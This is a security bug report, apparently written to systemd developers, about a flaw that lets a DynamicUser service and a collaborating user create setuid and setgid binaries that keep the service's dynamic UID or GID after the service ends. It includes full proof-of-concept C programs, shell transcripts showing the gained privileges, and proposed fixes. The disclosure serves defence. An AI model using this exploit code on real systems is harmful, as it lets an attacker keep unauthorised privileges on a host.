This bug report describes a bug in systemd that allows a service with
DynamicUser in collaboration with another service or user to create a setuid
binary that can be used to access its UID beyond the lifetime of the service.
This bug probably has relatively low severity, given that there aren't many
services yet that use DynamicUser, and the requirement of collaboration with
another process limits the circumstances in which it would be useful to an
attacker further; but in a system that makes heavy use of DynamicUser, it would
probably have impact.

<https://www.freedesktop.org/software/systemd/man/systemd.exec.html#DynamicUser=>
says:

    In order to allow the service to write to certain directories, they have to
    be whitelisted using ReadWritePaths=, but care must be taken so that UID/GID
    recycling doesn't create security issues involving files created by the
    service.

While I was chatting about DynamicUser with catern on IRC, I noticed that
DynamicUser doesn't isolate the service from the rest of the system in terms of
UNIX domain sockets; therefore, if a collaborating user passes a file descriptor
to a world-writable path outside the service's mount namespace into the
service, the service can then create setuid files that can be used by the
collaborating user beyond the lifetime of the service.


To reproduce:

As a user:
======================================================================
user@deb10:~$ mkdir systemd_uidleak
user@deb10:~$ cd systemd_uidleak
user@deb10:~/systemd_uidleak$ cat > breakout_assisted.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <err.h>

int main(void) {
  setbuf(stdout, NULL);

  // prepare unix domain socket
  int s = socket(AF_UNIX, SOCK_DGRAM, 0);
  if (s < 0) err(1, "unable to create unix domain socket");
  struct sockaddr_un addr = {
    .sun_family = AF_UNIX,
    .sun_path = "\0breakout"
  };
  if (bind(s, (struct sockaddr *)&addr, sizeof(sa_family_t)+1+8))
    err(1, "unable to bind abstract socket");
  puts("waiting for connection from outside the service...");

  // receive fd to somewhere under the real root
  int len = sizeof(struct cmsghdr) + sizeof(int);
  struct cmsghdr *hdr = alloca(len);
  struct msghdr msg = {
    .msg_control = hdr,
    .msg_controllen = len
  };
  if (recvmsg(s, &msg, 0) < 0) err(1, "unable to receive fd");
  if (hdr->cmsg_len != len || hdr->cmsg_level != SOL_SOCKET
      || hdr->cmsg_type != SCM_RIGHTS)
    errx(1, "got bad message");
  puts("got rootfd from other chroot...");
  if (fchdir(*(int*)CMSG_DATA(hdr))) err(1, "unable to change into real root");
  char curpath[4096];
  if (!getcwd(curpath, sizeof(curpath))) err(1, "unable to getpath()");
  printf("chdir successful, am now in %s\n", curpath);

  // create suid file
  int src_fd = open("suid_src", O_RDONLY);
  if (src_fd == -1) err(1, "open suid_src");
  int dst_fd = open("suid_dst", O_RDWR|O_CREAT|O_EXCL, 0644);
  if (dst_fd == -1) err(1, "open suid_dst");

  while (1) {
    char buf[1000];
    ssize_t res = read(src_fd, buf, sizeof(buf));
    if (res == -1) err(1, "read");
    if (res == 0) break;
    ssize_t res2 = write(dst_fd, buf, res);
    if (res2 != res) err(1, "write");
  }

  if (fchmod(dst_fd, 04755)) err(1, "fchmod");
  close(src_fd);
  close(dst_fd);

  // and that's it!
  puts("done!");
  while (1) pause();
  return 0;
}
user@deb10:~/systemd_uidleak$ gcc -o breakout_assisted breakout_assisted.c 
user@deb10:~/systemd_uidleak$ cat > breakout_helper.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <err.h>

int main(void) {
  int rootfd = open(".", O_PATH);
  if (rootfd < 0) err(1, "unable to open cwdfd");
  int s = socket(AF_UNIX, SOCK_DGRAM, 0);
  if (s < 0) err(1, "unable to create unix domain socket");
  struct sockaddr_un addr = {
    .sun_family = AF_UNIX,
    .sun_path = "\0breakout"
  };
  if (connect(s, (struct sockaddr *)&addr, sizeof(sa_family_t)+1+8))
    err(1, "unable to connect to abstract socket");
  puts("connected to other chroot, sending cwdfd...");

  int len = sizeof(struct cmsghdr) + sizeof(int);
  struct cmsghdr *hdr = alloca(len);
  *hdr = (struct cmsghdr) {
    .cmsg_len = len,
    .cmsg_level = SOL_SOCKET,
    .cmsg_type = SCM_RIGHTS
  };
  *(int*)CMSG_DATA(hdr) = rootfd;
  struct msghdr msg = {
    .msg_control = hdr,
    .msg_controllen = len
  };
  if (sendmsg(s, &msg, 0) < 0) err(1, "unable to send fd");
  puts("all ok on this side!");
  return 0;
}
user@deb10:~/systemd_uidleak$ gcc -o breakout_helper breakout_helper.c 
user@deb10:~/systemd_uidleak$ cp /usr/bin/id suid_src
user@deb10:~/systemd_uidleak$ chmod 0777 .
user@deb10:~/systemd_uidleak$ ls -la .
total 100
drwxrwxrwx  2 user user  4096 Feb  4 21:22 .
drwxr-xr-x 23 user user  4096 Feb  4 21:19 ..
-rwxr-xr-x  1 user user 17432 Feb  4 21:20 breakout_assisted
-rw-r--r--  1 user user  1932 Feb  4 21:20 breakout_assisted.c
-rwxr-xr-x  1 user user 16872 Feb  4 21:22 breakout_helper
-rw-r--r--  1 user user  1074 Feb  4 21:22 breakout_helper.c
-rwxr-xr-x  1 user user 43808 Feb  4 21:22 suid_src
user@deb10:~/systemd_uidleak$ 
======================================================================

Then, as root, create and launch a service around breakout_assisted:
======================================================================
root@deb10:/home/user# cat > /etc/systemd/system/dynamic-user-test.service
[Service]
ExecStart=/home/user/systemd_uidleak/breakout_assisted
DynamicUser=yes
root@deb10:/home/user# systemctl daemon-reload
root@deb10:/home/user# systemctl start dynamic-user-test.service
root@deb10:/home/user# systemctl status dynamic-user-test.service
[...]
Feb 04 21:27:29 deb10 systemd[1]: Started dynamic-user-test.service.
Feb 04 21:27:29 deb10 breakout_assisted[3155]: waiting for connection from outside the service...
root@deb10:/home/user# 
======================================================================

Now again as a user, run the breakout_helper:
======================================================================
user@deb10:~/systemd_uidleak$ ./breakout_helper 
connected to other chroot, sending cwdfd...
all ok on this side!
user@deb10:~/systemd_uidleak$ ls -la
total 144
drwxrwxrwx  2 user  user   4096 Feb  4 21:28 .
drwxr-xr-x 23 user  user   4096 Feb  4 21:19 ..
-rwxr-xr-x  1 user  user  17432 Feb  4 21:20 breakout_assisted
-rw-r--r--  1 user  user   1932 Feb  4 21:20 breakout_assisted.c
-rwxr-xr-x  1 user  user  16872 Feb  4 21:22 breakout_helper
-rw-r--r--  1 user  user   1074 Feb  4 21:22 breakout_helper.c
-rwsr-xr-x  1 64642 64642 43808 Feb  4 21:28 suid_dst
-rwxr-xr-x  1 user  user  43808 Feb  4 21:22 suid_src
user@deb10:~/systemd_uidleak$ ./suid_dst 
uid=1000(user) gid=1000(user) euid=64642 groups=1000(user),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),113(scanner)
user@deb10:~/systemd_uidleak$ 
======================================================================


On fixing this:

catern suggested that it might be more robust to use seccomp() to block
chmod()/fchmod() calls with modes that include setuid/setgid bits, like the
Nix build process. See
<https://nixos.org/releases/nix/nix-2.1.3/manual/#ssec-relnotes-1.11.10>:

> To prevent this issue, Nix now disallows builders to create setuid and setgid
> binaries. On Linux, this is done using a seccomp BPF filter.

This seems like the least intrusive fix to me. As far as I can tell, it should
be sufficient to prevent the creation of setuid binaries that are reachable
beyond the death of the service. Unfortunately, for setgid files, the following
trick also needs to be mitigated, assuming that the distribution hasn't blocked
the unprivileged creation of user namespaces:

======================================================================
user@deb10:~/systemd_uidleak_gid$ cat map_setter.c
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void write_file(char *type, int pid, char *buf) {
  char file_path[100];
  sprintf(file_path, "/proc/%d/%s", pid, type);
  int fd = open(file_path, O_WRONLY);
  if (fd == -1) err(1, "open %s", file_path);
  if (write(fd, buf, strlen(buf)) != strlen(buf))
    err(1, "write %s", type);
  close(fd);
}

static void write_map(char *type, int pid, int upper, int lower) {
  char buf[100];
  sprintf(buf, "%d %d 1", upper, lower);
  write_file(type, pid, buf);
}

int main(void) {
  FILE *pid_file = fopen("/home/user/systemd_uidleak_gid/pid_file", "r");
  if (pid_file == NULL) err(1, "open pid_file");
  int pid;
  if (fscanf(pid_file, "%d", &pid) != 1) err(1, "fscanf");

  write_file("setgroups", pid, "deny");
  write_map("gid_map", pid, 0, getgid());
  write_map("uid_map", pid, 0, geteuid());
  puts("done");
  while (1) pause();
  return 0;
}
user@deb10:~/systemd_uidleak_gid$ cat sgid_maker.c
#define _GNU_SOURCE
#include <sched.h>
#include <err.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/stat.h>
int main(void) {
  if (unshare(CLONE_NEWUSER)) err(1, "unshare CLONE_NEWUSER");
  pid_t my_pid = getpid();
  char my_pid_str[20];
  sprintf(my_pid_str, "%d\n", (int)my_pid);
  int pid_file = open("pid_file", O_WRONLY|O_CREAT|O_TRUNC, 0644);
  if (pid_file == -1) err(1, "create pid_file");
  if (write(pid_file, my_pid_str, strlen(my_pid_str)) != strlen(my_pid_str)) err(1, "write pid_file");
  close(pid_file);
  puts("pid file written, waiting for mappings...");
  while (1) {
    if (getuid() == 0) break;
    sleep(1);
  }
  puts("mappings are up!");
  if (setgid(0)) err(1, "setgid");

  // create sgid file
  int src_fd = open("sgid_src", O_RDONLY);
  if (src_fd == -1) err(1, "open sgid_src");
  int dst_fd = open("sgid_dst", O_RDWR|O_CREAT|O_EXCL, 0644);
  if (dst_fd == -1) err(1, "open sgid_dst");
  while (1) {
    char buf[1000];
    ssize_t res = read(src_fd, buf, sizeof(buf));
    if (res == -1) err(1, "read");
    if (res == 0) break;
    ssize_t res2 = write(dst_fd, buf, res);
    if (res2 != res) err(1, "write");
  }
  if (fchmod(dst_fd, 02755)) err(1, "fchmod");
  close(src_fd);
  close(dst_fd);
}
user@deb10:~/systemd_uidleak_gid$ cp /usr/bin/id sgid_src
user@deb10:~/systemd_uidleak_gid$ gcc -o map_setter map_setter.c && gcc -o sgid_maker sgid_maker.c && chmod u+s map_setter && ./sgid_maker 
pid file written, waiting for mappings...
[#####  at this point, launch ~/systemd_uidleak_gid/map_setter in a systemd service  #####]
mappings are up!
user@deb10:~/systemd_uidleak_gid$ ls -l sgid_dst
-rwxr-sr-x 1 user 64642 43808 Feb  4 23:13 sgid_dst
user@deb10:~/systemd_uidleak_gid$ ./sgid_dst
uid=1000(user) gid=1000(user) egid=64642 groups=64642,24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),113(scanner),1000(user)
user@deb10:~/systemd_uidleak_gid$ 
======================================================================

I think the least intrusive way to mitigate this part might be to enforce
NoNewPrivileges=yes for services with dynamic IDs - that way, someone inside
such a service can't become capable over anything outside, and someone outside
the service can't become capable over anything inside the service.
(And really, in general, it would be nice if NoNewPrivileges=yes could become
the norm at some point.)